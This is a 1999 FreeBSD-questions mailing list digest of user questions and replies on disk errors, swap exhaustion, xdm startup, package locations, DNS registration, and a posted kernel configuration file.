> From: 	Chris Piazza[SMTP:cpiazza@home.net]
> Sent: 	Tuesday, March 23, 1999 12:17 AM
> To: 	Greg Lehey
> Cc: 	questions@FreeBSD.ORG
> Subject: 	Re: harddrive woes (!)
> 
> On 23-Mar-99 Greg Lehey wrote:
> > On Monday, 22 March 1999 at 22:34:37 -0800, Chris Piazza wrote:
> > 
> > This is telling you that the sector you're looking for on the disk
> > simply isn't there.  This isn't FreeBSD, it's the drive itself.
> > 
> >> It seems to me like FreeBSD spammed my harddrive with something, but
> >> what I don't understand is why other OS' do not even think twice
> >> about it.
> > 
> > There are two possibilities here:
> > 
> > 1.  The other OSs don't try to access this sector.
> > 2.  They ignore the error.
> 
> My problem with this is I can't even write 100k on to this partition
> (about 3.3
> gigs, at the end of the drive) in FreeBSD, yet I've filled the drive in
> both
> Linux and FreeBSD =/.
You might try to repartition the drive. Create a small partition at the
beginning 
that will include the bad block. Create another partition that holds the
remainder.
Don't use the bad block partition.


> > 
> > Hopefully (1) is the correct answer :-)
> > 
> >> Is there any way to wipe this part of the drive "totally" clean?
> > 
> > Some format utilities can do this for you.  Unfortunately FreeBSD
> > doesn't supply anything to format IDE drives.  Does your BIOS have
> > something?
> > 
> 
> It has the 'low level format', of course ;).  And this error has survived
> through that.
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Tue Mar 23  9:13:30 1999
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Subject: storm platinum card
To: freebsd-questions@freebsd.org
Date: Tue, 23 Mar 1999 17:17:11 GMT
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anyone using the Storm Platinum A3D PCI sound card with success on FreeBSD?

if so, what did you use the SoundBlaster settings in the kernel to have it
recognized?



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From owner-freebsd-questions  Tue Mar 23  9:17:38 1999
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Date: Tue, 23 Mar 1999 12:17:14 -0500
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Is it normal for running out of swap space to hang the system?
-----------------------
Scott I. Remick			scott@computeralt.com
Network and Information		(802)388-7545 ext. 236
Systems Manager			FAX:(802)388-3697
Computer Alternatives, Inc.		http://www.computeralt.com


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From owner-freebsd-questions  Tue Mar 23 10:11:37 1999
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Date: Tue, 23 Mar 1999 20:13:57 +0000
From: Neil Blakey-Milner <nbm@mithrandr.moria.org>
To: Langa Kentane - MWeb <LKentane@mweb.com>
Cc: "'freebsd-questions@freebsd.org'" <freebsd-questions@FreeBSD.ORG>
Subject: Re: Web based e-mail
Message-ID: <19990323201356.A11649@rucus.ru.ac.za>
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On Tue 1999-03-23 (15:17), Langa Kentane - MWeb wrote:
> Does anybody have any example cgi code or a url that I go to that will
> teach me how to create a web pages e-mail client like hotmail and
> stuff.
> 
> I have this a college project that I must do that has to do with this.
> 
> Any help or pointers will be much appreciated.

Look for "web" and "mail" on freshmeat, and check out php.net.

Neil
-- 
Neil Blakey-Milner
nbm@rucus.ru.ac.za


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From owner-freebsd-questions  Tue Mar 23 10:14:56 1999
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Date: Tue, 23 Mar 1999 16:30:17 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Greg Lehey <grog@lemis.com>, jmb@freebsd.org
Cc: "FreeBSD Mailing List (E-mail)" <questions@freebsd.org>
Subject: Re: Am I the only one getting doubles
Message-ID: <19990323163017.A2574@scientia.demon.co.uk>
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Greg Lehey wrote:

> We had problem with isdn.net.il, which was running Microsoft's
> SPAMPSVC mailer.  It was sending received messages back to the list,
> apparently not for the first time.  It's been blocked, and you
> shouldn't see any more problems in that area.

I am seeing problems, though I don't know what anyone at freebsd.org can
do. The chances are if you reply to this, I'll get three copies

you -> me
you -> freebsd -> me
you -> freebsd -> isdn.net.il -> me

That's what's been happening so far.

> If you get any more, look at the headers and report anything that
> looks like a loop.

They still haven't fixed that, they seem to be resending all mail based
on the To/Cc headers, or something equally stupid. I've written to them
once, no reply, hasn't been fixed. Has anyone contacted their upstream
provider or anything? It's becoming annoying.

Can't jmb remove the offending address from the list until it gets
fixed, or something?

-- 
Ben Smithurst
ben@scientia.demon.co.uk

send a blank message to ben+pgp@scientia.demon.co.uk for PGP key


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From owner-freebsd-questions  Tue Mar 23 10:32:12 1999
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Date: Tue, 23 Mar 1999 13:27:47 -0500 (EST)
From: Joseph Scott <joseph@randomnetworks.com>
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To: "Olivas, Stacy Q" <Olivassq@nafm.misawa.af.mil>
Cc: "'FreeBSD Questions'" <freebsd-questions@FreeBSD.ORG>
Subject: Re: TCPDUMP output
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On Tue, 23 Mar 1999, Olivas, Stacy Q wrote:

> Hello,
> I'm working on a little DNS monitoring project..
> 
> I have a small caching nameserver setup that feeds machines in a subnet.
> 
> To monitor where they have been, I've setup tcpdump to watch port 53 on the
> machine for all traffic (it's only used for this pupose).. Everyday it
> automatically rolls the logfiles over and sends a copy to me via e-mail (the
> machine is an a secure area that I don't access on a regular basis).
> 
> My question is:
> 
> 1.  Is there a program (preferably unix, but can be a windows based program)
> that would allow me to have the logs formatted something easier to analyze
> or

	I'm not exactly sure what you are looking for as far as "easier".
Do you want easier on the human ?  You may want to check out tcpshow, it's
in the ports collection.


	As for something that understands dns traffic, I think ethereal
does, it's and Xwindows app.
> 2.  Is there a program that would allow me (short of setting up a proxy)
> monitor this sort of thing in an easier way??
> 
> I was thinking about writing a custom utility to analyze this stuff, but I
> figured I might want to ask before doing so (just to save myself some
> time)..
> 
> Thanks in advance.
> Stacy Olivas
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


Joseph Scott
joseph@randomnetworks.com




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From owner-freebsd-questions  Tue Mar 23 10:40:34 1999
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Subject: Re: BSD equivalent of Linux 'fuser' command
References: <Pine.BSF.4.10.9903231247000.76993-100000@chain.freebsd.os.org.za>
From: Eric Jacoboni <jaco@titine.fr.eu.org>
Date: 23 Mar 1999 19:39:00 +0100
In-Reply-To: Khetan Gajjar's message of "Tue, 23 Mar 1999 12:48:33 +0200 (SAST)"
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Khetan Gajjar <khetan@chain.freebsd.os.org.za> writes:

> Yup - fstat(1)

Yes, but... no :(

I've read the man page, but i don't obtain what i want. (But, as you
can read, English is not my mother tongue, so i've probably miss
something...).

1) let's root do a 'mount /cdrom ; cd /cdrom'

2) with 'fuser -a /cdrom', i get a single line telling me that root
is using /cdrom (that's why i cannot do a 'umount /cdrom', and that
exactly what i wanted to know)

3) with 'fstat /cdrom', i get... nothing.

4) with 'fstat | grep /cdrom', i get... nothing.


-- 
---------------------------------------------------
Éric Jacoboni       « No sport! »  (W. Churchill)
---------------------------------------------------


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From owner-freebsd-questions  Tue Mar 23 10:41:11 1999
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Date: Tue, 23 Mar 1999 13:42:16 -0500 (EST)
From: Rich Fox <rich@f2sys.net>
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Subject: Fixed! Re: libwrap.so.7--making me crazy!
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Hi,

This message is a follow-up posting:

In my original posting, I stated that after installing tcp_wrappers_7.6,
my problem with the libwrap.so.7 library not being found was unresolved.
This was not entirely accurate, I didn't quite go far enough to solve the 
problem.

Although the library was not being found, I believe this was the result of
ldconfig not being run after I installed the tcpwrappers.
I reinstalled the system as clean, which probably wasn't necessary for
this problem. Then I installed netatalk. When I tried to invoke the
netatalk daemons, atalkd and papd came up, but afpd ran into the same
problem as before. 
Following Guy Helmer's instruction, I installed net/tcp_wrappers_7.6 from
the /stand/sysinstall utility.
Before attempting to start afpd, I shut everything down and rebooted the
system. When the system came up, netatalk started happily and has been
running since.

The clue to reboot came from a post to this list by Robert Nordier [Dec. 
'96!] in the archive about a problem with shared libraries and ldconfig:

[snip]
You may need to do a `/sbin/ldconfig -m' to have the system recognize
the library.  See the ldconfig(8) man page for details.  Or simply
reboot.
[snip]

-- and this excerpt from the 3.1R Errata:

o  Some packages, like netscape, will fail to install if chosen
   at initial system installation time, in some cases claiming
   that the "compat22" distribution needs to be installed even
   though it has, indeed, been installed.

Fix: The problem here is that though the compatibility a.out libraries
     may have been installed from compat22 and as part of the XFree86
     distribution, the a.out library (ldconfig) cache has not yet been
     built given that this doesn't happen until the system has booted
     completely at least once.  This causes packages which require the
     old a.out libraries (like netscape) to get confused if they're
     installed before that has occurred.  To work around the problem,
     simply complete the installation as normal and come up fully,
     then re-run /stand/sysinstall (or use the pkg_add(1) command
     directly) to re-install the failing package(s).


(I don't know if all this was really what solved the problem, but it works
now...)
Again, thanks everyone!

Rich.

| rich fox
| rich@f2sys.net
| 1513 N. Rhodes St. #1
| Arlington, VA 22209
| t:703.528.9616
| f:703.329.2314 

On Mon, 22 Mar 1999, Guy Helmer wrote:

> On Mon, 22 Mar 1999, Rich Fox wrote:
> 
> > I am trying to fix a 3.1 distribution so that It can run netatalk.
> > First I had the lib.so.3 (I think) problem. Fortunately, this was fairly
> > common and I found the solution in the handbook.
> > Now, I am stuck on the following:
> > 
> > /usr/libexec/ld-elf.so.1: Shared object "libwrap.so.7" not found
> > 
> > I have located and installed tcp_wrappers_7.6 and it didn't change
> > anything. It took me a long time just to find the tcp_wrappers_7.6.tar.gz
> > file and now, apparently it wasn't even what I needed.
> > 
> > Any ideas where I can get this libwrap.so.7?
> 
> Install the tcp_wrapper port or package to get
> /usr/local/lib/libwrap.so.7 installed.
> 
> Guy Helmer
> 
> Guy Helmer, Ph.D. Candidate, Iowa State University Dept. of Computer Science 
> Research Assistant, Ames Laboratory       ---         ghelmer@scl.ameslab.gov
> Research Assistant, Dept. of Computer Science   ---   ghelmer@cs.iastate.edu
> http://www.cs.iastate.edu/~ghelmer
> 
> 



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From owner-freebsd-questions  Tue Mar 23 10:43:28 1999
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Date: Tue, 23 Mar 1999 20:41:52 +0200 (EET)
From: Evren Yurtesen <yurtesen@turkey.ispro.net.tr>
To: Dan Busarow <dan@dpcsys.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re:(2) !!!URGENT DNS PROBLEM!!!
In-Reply-To: <Pine.BSF.3.96.990301115531.18088H-100000@java.dpcsys.com>
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hello again
thanks for your help lately,
I have found out that we forgot to pay for our domain names :)
well, now we have another problem here...
now we payed the bill and everything is ok...
but fatih.net , voltelektrik.com , orucoglu.com , ispro.net
all of them are not working, I could not understand the reason though
but our other domain names ispro.net.tr , orucoglu.com.tr and others are
working...I could not find any configuration problems in my records
either...

any ideas?

if you want I may send you db files for those dns names...

Evren
thanks

On Mon, 1 Mar 1999, Dan Busarow wrote:

> On Mon, 1 Mar 1999, Evren Yurtesen wrote:
> > I am using 3.1R as my primary dns server and I have a bizarre problem
> > here!!!
> > some of my domains are not working! for ex. fatih.net and voltelektrik.com
> > my old domains are working (I believe that these were working too I just
> > do not know when they started to not to work)
> > I have many domains for ex. orucoglu.com and ispro.net and they are
> > working just fine!
> > my name servers are 195.174.18.1 and 195.174.18.2
> > 
> > what should I do???
> > this is very urgent situation...
> > if you know any other mailing list please let me know
> 
> Taking your SOA record at face value, you haven't updated the
> serial number since 5/9/1998.  That could be a problem.
> 
> A bigger problem is that voltelektrik.com is not in the root servers.
> It is in whois but NSI stopped showing on hold status a while back.
> Have you payed your bill to Internic?
> 
> Dan
> -- 
>  Dan Busarow                                                  949 443 4172
>  Dana Point Communications, Inc.                            dan@dpcsys.com
>  Dana Point, California  83 09 EF 59 E0 11 89 B4   8D 09 DB FD E1 DD 0C 82
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-isp" in the body of the message
> 



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From owner-freebsd-questions  Tue Mar 23 11: 5: 9 1999
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From: "Dan Langille" <junkmale@xtra.co.nz>
Organization: The FreeBSD Diary
To: Vallo Kallaste <vallo@matti.ee>
Date: Wed, 24 Mar 1999 07:05:14 +1200
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References: <Pine.BSF.4.05.9903211507480.328-100000@nyc-ny78-59.ix.netcom.com>; from Spike on Sun, Mar 21, 1999 at 03:08:06PM -0500
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On 21 Mar 99, at 22:27, Vallo Kallaste wrote:

> On Sun, Mar 21, 1999 at 03:08:06PM -0500, Spike <spork@startrekmail.com> wrote:
> 
> > > But what's that #3?  On another machine I get "FreeBSD 3.1-STABLE #0: Wed 
> > > Mar  3 21:11:33 NZDT 1999" which is just another snapshot of -stable as 
> > > far as I can tell.
> > > 
> > > What does the #n denote?
> > > 
> > 
> > How many times you have compiled this kernel. 

Ahhhh.

> 
> Without cleaning up the kernel compile directory, right?

You mean without doing a make clean?

--
Dan Langille
The FreeBSD Diary
http://www.FreeBSDDiary.com/freebsd


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From owner-freebsd-questions  Tue Mar 23 11: 9:41 1999
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Date: Tue, 23 Mar 1999 13:05:24 -0600
From: Juan Kuuse <kuuse@quik.guate.com>
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I am new to FreeBSD and to UNIX in general.
Browsing my 3.0-RELEASE CD, I evaluate packages (X11-fm, file managers).

I list the packages and the problems:
asfiles            -  how do I run it?
explorer        -  hardly  no functions are working. Not implemented?
jafm               -  generates lots of windows after browsing for a
while, eh?
offix-files     -  how do I run it?
q3dmenu      -   beatiful but not useful, eh?
workplace    -  starts sometimes, but crashes every now and then with
the "** ERROR **: sigsegv caught" message.
xfm                 -   works OK, but maybe a bit too simple for my
taste. Any alternatives?

Another question is about StarOffice 3. 1 (also on the CD-ROM):
Typing 'swriter' at the prompt, I only get the following message:

Trying to initiate
User Install required before swriter3 can be run, please wait...
/usr/local/bin/swriter3: /usr/local/StarOffice-3.1/linux-x86/bin/setup:
not found
Can't find initialisation script /root/.sd.sh, User Install must be
completed before swriter3 can be run.

Any ideas about this error?

A general question about packages:
And how do I find out where they are installed and which command to use
to run them?
(It isn't always mentioned in the info given by pkg_info.)

I would appreciate a CC to kuuse@quik.guate.com
as I'm not subscribing to the list at the moment.

Thanks in advance!

/Juan Kuuse



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From owner-freebsd-questions  Tue Mar 23 11:10:33 1999
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  LIVE PERSONAL PSYCHIC!     (as seen on T.V.)                                                                                                                                                                                                                                                                                                           

                                                                                                                                                                                                        
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From owner-freebsd-questions  Tue Mar 23 11:17:12 1999
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Date: Tue, 23 Mar 1999 20:16:11 +1100 (EDT)
From: Andrew MacIntyre <andymac@bullseye.apana.org.au>
To: "Kenneth D. Merry" <ken@plutotech.com>
Cc: "Mike O'Brien" <obrien@leonardo.net>,
	freebsd-questions@freebsd.org, freebsd-scsi@freebsd.org
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On Mon, 22 Mar 1999, Kenneth D. Merry wrote:

{...}

> > Mar 21 23:15:30 caern /kernel: da0 at ahc0 bus 0 target 0 lun 0
> > Mar 21 23:15:30 caern /kernel: da0: <QUANTUM VP32210 81H8> Fixed Direct Access SCSI-2 device 
> > Mar 21 23:15:30 caern /kernel: da0: 10.0MB/s transfers (10.0MHz, offset 15), Tagged Queueing Enabled
> > Mar 21 23:15:30 caern /kernel: da0: 2103MB (4308352 512 byte sectors: 64H 32S/T 2103C)

{...}

> What is a VP32210?  I don't see that anywhere on Quantum's web site listing
> of various model numbers.

Its a Quantum Capella IIRC.

I've one with the same firmware rev, but its on a NCR 810 controller in a
2.2.6 box.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre@aba.gov.au    (work) | Snail: PO Box 370
        andymac@bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
Fido:   Andrew MacIntyre, 3:620/243.18        |        Australia



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From owner-freebsd-questions  Tue Mar 23 11:26:33 1999
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Date: Tue, 23 Mar 1999 14:25:43 -0500
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After my recent panic attack :) I want to enable dumping in /etc/rc.conf

In my "The Complete FreeBSD" book 2nd. ed. p. 88, it says to change the
following:

dumpdev=NO
savecore=NO

to:

dumpdev=/dev/wd0s1b  (where this is the swap device)
savecore=YES

I had the dumpdev line in rc.conf, so I changed it appropriately, but there
was no savecore, so I added the line.  Is this correct, or does having
dumpdev set to a device imply savecore thus making it redundant.

Is there any way of testing this ie. simulate a panic?

thanks,

Brian Adkins




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From owner-freebsd-questions  Tue Mar 23 11:27: 6 1999
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Date: Tue, 23 Mar 1999 20:26:25 +0100 (CET)
From: Konrad Heuer <kheuer@gwdu60.gwdg.de>
To: "Scott I. Remick" <scott@computeralt.com>
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Out of Swap Space hangs system
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On Tue, 23 Mar 1999, Scott I. Remick wrote:

> Is it normal for running out of swap space to hang the system?

Unfortunately, yes. It should not be, especially for a server OS. The only
comfort is that Linux already (nearly) hangs if you use a lot of swap
space.=09;-)

To be serious: To my mind this problem should be addressed as soon as
possible. I know each FreeBSD developer works for free - but this is a
serious problem (maybe it has been fixed in -current?).

Regards

//
// Konrad Heuer                                  ____            ___  _____=
__=20
// Gesellschaft f=FCr wissenschaftliche           / __/______ ___ / _ )/ __=
/ _ \
//    Datenverarbeitung mbH G=D6ttingen          / _// __/ -_) -_) _  |\ \/=
 // /
// Am Fa=DFberg, D-37077 G=D6ttingen              /_/ /_/  \__/\__/____/___=
/____/=20
// Deutschland (Germany)                      ----- The Power to Serve ----=
-
//                                                http://www.freebsd.org
// kheuer@gwdu60.gwdg.de
//



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From owner-freebsd-questions  Tue Mar 23 11:30: 8 1999
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Subject: Re: FreeBSD X11 Desktop Theme Contest
In-Reply-To: <Pine.BSF.4.05.9903230953000.7773-100000@peloton.physics.montana.edu> from Brett Taylor at "Mar 23, 99 09:54:30 am"
To: brett@peloton.physics.montana.edu (Brett Taylor)
Date: Tue, 23 Mar 1999 11:29:38 -0800 (PST)
Cc: chirag@cse.iitb.ernet.in, freebsd-questions@FreeBSD.ORG
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According to Brett Taylor:
> Hi,
> 
> > I am looking for a FreeBSD desktop theme for my FBSD box. I found a
> > link http://www.freebsd.org/~xcontest described somewhere but the link
> > reports that the Xcontest is no more. I suppose the contest's is over
> > and the page doesn't exist. Where can I find the desktop theme that
> > was selected as the winner; also can I have a look at the other
> > submitted ?
> 
> The contest died before there was a winner.  
> 
> I have some FreeBSD screenshots available (from various people):
> 
> http://peloton.physics.montana.edu/brett/screen.html
> 
> Brett

	Nice link, Brett.  Too bad the contest died; I missed
	this one!   Maybe people are still interested in contributing
	screenshots.    

	Here's a related X/wm/environment question.  Does any window
	manager allow toggling of autoraise|autolower for xterms?
	Sometimes I like to have xterms automatically raise with a 
	mouse swipe; sometime not.  Be nice to have a [Toggle]
	button.  

	gary


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From owner-freebsd-questions  Tue Mar 23 11:44:15 1999
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Date: Tue, 23 Mar 1999 12:43:05 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Gary Kline <kline@tera.com>
Cc: chirag@cse.iitb.ernet.in, freebsd-questions@FreeBSD.ORG
Subject: Re: FreeBSD X11 Desktop Theme Contest
In-Reply-To: <199903231929.LAA28813@athena.tera.com>
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Hi Gary,

On Tue, 23 Mar 1999, Gary Kline wrote:

> 	Nice link, Brett.  Too bad the contest died; I missed
> 	this one!   Maybe people are still interested in contributing
> 	screenshots.    

Haven't had any in awhile - I just made a new screenshot of my current
Window Maker desktop recently but I didn't put it up.  I can point you to
it if you're interested.

> 	Here's a related X/wm/environment question.  Does any window
> 	manager allow toggling of autoraise|autolower for xterms?
> 	Sometimes I like to have xterms automatically raise with a 
> 	mouse swipe; sometime not.  Be nice to have a [Toggle]
> 	button.  

Not sure exactly what you mean here.  Do you mean sloppy focus? (I don't
think so but....)

If you're asking what I think you're asking, it appears Window Maker may
have something like that (but again I'm not sure).

They have a key shortcut for "Raise/Lower window under mouse pointer" -
you could use sloppy focus and then define this key shortcut to do what
you want (maybe?).

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Tue Mar 23 11:47:21 1999
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Date: Tue, 23 Mar 1999 14:40:12 -0500
To: Stefano Riva <sriva@alice.it>
From: Brian Adkins <brian@lojic.com>
Subject: Re: windows 95 connect to FreeBSD
Cc: freebsd-questions@FreeBSD.ORG
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References: <36F67831.611F889F@tdx.co.uk>
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At 06:56 PM 3/22/99 +0100, Stefano Riva wrote:
>  Yeah. Sharity Light does exactly that: mounting SMB drives onto Unix,
>although the last time I wanted to use it, it didn't work (auth problems).
>I did the job another way without going deep in the subject. Anyway, I
>think the problem was the same I subsequently saw discussed by Tatsumi
>Hosokawa (the Samba maintainer) during the installation of a recent port of
>Samba: something in authentication has changed in latest Windows releases
>(NT+SP3/4, etc.). I don't remember what the solution was, but probably
>there's a similar solution for Sharity Light too.

I believe that was due to the change in NT's SP3 that turned on password
encryption, and I think the solution was to either turn off password
encryption on NT via a registry mod, or configure Samba to use encrypted
passwords.



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From owner-freebsd-questions  Tue Mar 23 11:49:34 1999
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Date: Tue, 23 Mar 1999 12:48:32 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Juan Kuuse <kuuse@quik.guate.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Newbie with package problems (file managers and StarOffice)
In-Reply-To: <36F7E5F4.8DEB67E8@quik.guate.com>
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Hi,

On Tue, 23 Mar 1999, Juan Kuuse wrote:

> I am new to FreeBSD and to UNIX in general.
> Browsing my 3.0-RELEASE CD, I evaluate packages (X11-fm, file managers).
> 
> I list the packages and the problems:
> asfiles            -  how do I run it?

peloton: {1} more /usr/ports/x11-fm/asfiles/pkg/PLIST 
bin/files

(so type files)

You might try tkdesk.  (it's also in ports/x11-fm)

> A general question about packages:
> And how do I find out where they are installed and which command to use
> to run them?
> (It isn't always mentioned in the info given by pkg_info.)

Check either /var/db/pkg/+CONTENTS or
/usr/ports/some_dir/some_app/pkg/PLIST and look for the
bin/some_executable entries.

Both of these won't tell you the exact path, but once you know the name of
the executable you can just do a "which some_file" and it will tell you
where it's located.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Tue Mar 23 11:52:31 1999
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Date: Tue, 23 Mar 1999 12:51:26 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Konrad Heuer <kheuer@gwdu60.gwdg.de>
Cc: "Scott I. Remick" <scott@computeralt.com>,
	FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Out of Swap Space hangs system
In-Reply-To: <Pine.BSF.4.05.9903232021440.76938-100000@gwdu60.gwdg.de>
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Hi,

On Tue, 23 Mar 1999, Konrad Heuer wrote:
> On Tue, 23 Mar 1999, Scott I. Remick wrote:

> 
> > Is it normal for running out of swap space to hang the system?
> 
> Unfortunately, yes. It should not be, especially for a server OS. 

It hangs your system?  Hmmm... I tried building both modula3 and
virtualpaper once - they used up all the swap I had and the machine didn't
hang.  This was with some version of 2.2-STABLE awhile ago.  Maybe I got
lucky.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Tue Mar 23 11:54:32 1999
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From: Michael Brown <Michael_Brown@sw.cc.va.us>
To: questions@freebsd.org
Subject: ~User Web pages
Date: Tue, 23 Mar 1999 14:53:13 -0500
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I am trying to setup ~user web pages what is the process to do so.

I am using Apache and need to know how to set the UserDir directive.

Michael Brown


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From owner-freebsd-questions  Tue Mar 23 12: 8:48 1999
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To: Peter Schwenk <schwenk@math.udel.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: XDM kookiness
References: <36F665FE.82F0E85A@math.udel.edu>
From: Chris Shenton <cshenton@uucom.com>
Date: 23 Mar 1999 15:07:50 -0500
In-Reply-To: Peter Schwenk's message of "Mon, 22 Mar 1999 10:47:11 -0500"
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On Mon, 22 Mar 1999 10:47:11 -0500, Peter Schwenk <schwenk@math.udel.edu> said:

Peter> Hello: I've got xdm running on my FreeBSD 3.1-R system (and it
Peter> was running on 2.2.8-R before that).  It is started with a
Peter> xdm.sh script in the /usr/X11R6/etc/rc.d directory (is there
Peter> any other way to start it?).  Quite frequently, after I boot up
Peter> the system and I get to the login window, the keyboard input
Peter> isn't echoed in the login window.  The keyboard input is
Peter> accepted, as I found out by telnetting in from another system
Peter> and seeing myself logged in, plus Ctrl-Alt-Delete works.

Same here on 3.1-S and XF86-3.3.3 (latest of this writing). It acts
like it's not listening to the keyboard (various from decent Keytronic
to new cheapies) but a remote "ps" shows something like "login:
myusername".

If I do *not* start xdm at boot (in /usr/X11$6/etc/rc.d) but wait for
the text screen, login as root, then start XDM, it works fine. This
has bugged me for a while.

I think I encountered this problem on some 2.2.8-STABLE systems too,
probably with XFree86 of a couple revs ago. 

I noticed folks talking about starting in /etc/ttys, but it really
*should* work as a boot script. Any ideas?


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From owner-freebsd-questions  Tue Mar 23 12:13:15 1999
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Subject: Re: ~User Web pages 
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             <519E4F1A60BCD211AC6100805FEA7ACA0875@SWCC2> 
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In message <519E4F1A60BCD211AC6100805FEA7ACA0875@SWCC2>, Michael Brown wrote:
} I am trying to setup ~user web pages what is the process to do so.
} 
} I am using Apache and need to know how to set the UserDir directive.

Please see http://www.apache.org for excellent documentation and FAQs
related to configuring and running apache.

-- 
   Jon Hamilton  
   hamilton@pobox.com



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From owner-freebsd-questions  Tue Mar 23 12:13:57 1999
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Chris:

Nope, no ideas, but ever since I've started it in the /etc/ttys file, it hasn't
exhibited the problem.

One thing, though.  It still doesn't update the utmp database because I don't show
up as logged in when I log in via xdm.  Does anyone know the fix for this, or is
it a feature?

Chris Shenton wrote:

>
> Same here on 3.1-S and XF86-3.3.3 (latest of this writing). It acts
> like it's not listening to the keyboard (various from decent Keytronic
> to new cheapies) but a remote "ps" shows something like "login:
> myusername".
>
> If I do *not* start xdm at boot (in /usr/X11$6/etc/rc.d) but wait for
> the text screen, login as root, then start XDM, it works fine. This
> has bugged me for a while.
>
> I think I encountered this problem on some 2.2.8-STABLE systems too,
> probably with XFree86 of a couple revs ago.

It did it for me also when I was using 2.2.8-R.

>
>
> I noticed folks talking about starting in /etc/ttys, but it really
> *should* work as a boot script. Any ideas?

--
PETER SCHWENK                                    |  UNIX System Administrator
Department of Mathematical Sciences              |  University of Delaware
schwenk@math.udel.edu                            |  (302)831-0437 <-NEW!!!





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From owner-freebsd-questions  Tue Mar 23 12:14: 0 1999
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To: "Joe \"Marcus\" Clarke" <marcus@miami.edu>
Cc: Peter Schwenk <schwenk@math.udel.edu>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: XDM kookiness
References: <Pine.OSF.4.05.9903221057120.13477-100000@jaguar.ir.miami.edu>
From: Chris Shenton <cshenton@uucom.com>
Date: 23 Mar 1999 15:13:25 -0500
In-Reply-To: "Joe \"Marcus\" Clarke"'s message of "Mon, 22 Mar 1999 10:58:18 -0500 (EST)"
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On Mon, 22 Mar 1999 10:58:18 -0500 (EST), "Joe \"Marcus\" Clarke" <marcus@miami.edu> said:

Joe> You can also start it from /etc/ttys: ttyv3 "/usr/X11R6/bin/xdm
Joe> -nodaemon" xterm on secure

Joe> Then kill -1 1.

I'll try this. Will this effectively run it at boot? I have my XDM
also offering services for a couple X terminals laying around the
house. So I need XDM at boot. 


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From owner-freebsd-questions  Tue Mar 23 12:17:43 1999
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From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Chris Shenton <cshenton@uucom.com>
Cc: "Joe \"Marcus\" Clarke" <marcus@miami.edu>,
	Peter Schwenk <schwenk@math.udel.edu>, freebsd-questions@FreeBSD.ORG
Subject: Re: XDM kookiness
In-Reply-To: <lfu2vcklqx.fsf@Samizdat.uucom.com>
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Hi,

On 23 Mar 1999, Chris Shenton wrote:

> On Mon, 22 Mar 1999 10:58:18 -0500 (EST), "Joe \"Marcus\" Clarke"
> <marcus@miami.edu> said:
> 
> Joe> You can also start it from /etc/ttys: ttyv3 "/usr/X11R6/bin/xdm
> Joe> -nodaemon" xterm on secure
> 
> Joe> Then kill -1 1.
> 
> I'll try this. Will this effectively run it at boot? I have my XDM
> also offering services for a couple X terminals laying around the
> house. So I need XDM at boot. 

Yep - I've run xdm this way since I started and it comes up on boot.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Tue Mar 23 12:23:31 1999
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Date: Tue, 23 Mar 1999 14:21:01 -0600
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This is a multi-part message in MIME format.
--------------155C66F8496E44041BD734CA
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I have a 486DX2/66 that I've loaded FreeBSD on. I'm trying to configure
the kernel but it won't let me "make depend" on it. I don't have a CD
ROM on this machine yet. I've attached a copy of the problem kernel
file. The message I get is:
make: don't know how to make depend. Stop

Thank you for your help.
Mark Burnett
--------------155C66F8496E44041BD734CA
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Content-Disposition: inline; filename="Mykernel"

#
# GENERIC -- Generic machine with WD/AHx/NCR/BTx family disks
#
# For more information read the handbook part System Administration -> 
# Configuring the FreeBSD Kernel -> The Configuration File. 
# The handbook is available in /usr/share/doc/handbook or online as
# latest version from the FreeBSD World Wide Web server 
# <URL:http://www.FreeBSD.ORG/>
#
# An exhaustive list of options and more detailed explanations of the 
# device lines is present in the ./LINT configuration file. If you are 
# in doubt as to the purpose or necessity of a line, check first in LINT.
#
#	$Id: GENERIC,v 1.143.2.2 1999/02/15 02:50:07 des Exp $

machine		"i386"
cpu		"I486_CPU"
#cpu		"I586_CPU"
ident		MYKERNEL
maxusers	32

options		MATH_EMULATE		#Support for x87 emulation
options		INET			#InterNETworking
options		FFS			#Berkeley Fast Filesystem
options		FFS_ROOT		#FFS usable as root device [keep this!]
options		MFS			#Memory Filesystem
options		MFS_ROOT		#MFS usable as root device, "MFS" req'ed
options		NFS			#Network Filesystem
options		NFS_ROOT		#NFS usable as root device, "NFS" req'ed
options		MSDOSFS			#MSDOS Filesystem
#options		"CD9660"		#ISO 9660 Filesystem
#options		"CD9660_ROOT"		#CD-ROM usable as root. "CD9660" req'ed
options		PROCFS			#Process filesystem
options		"COMPAT_43"		#Compatible with BSD 4.3 [KEEP THIS!]
#options		SCSI_DELAY=15000	#Be pessimistic about Joe SCSI device
options		UCONSOLE		#Allow users to grab the console
options		FAILSAFE		#Be conservative
options		USERCONFIG		#boot -c editor
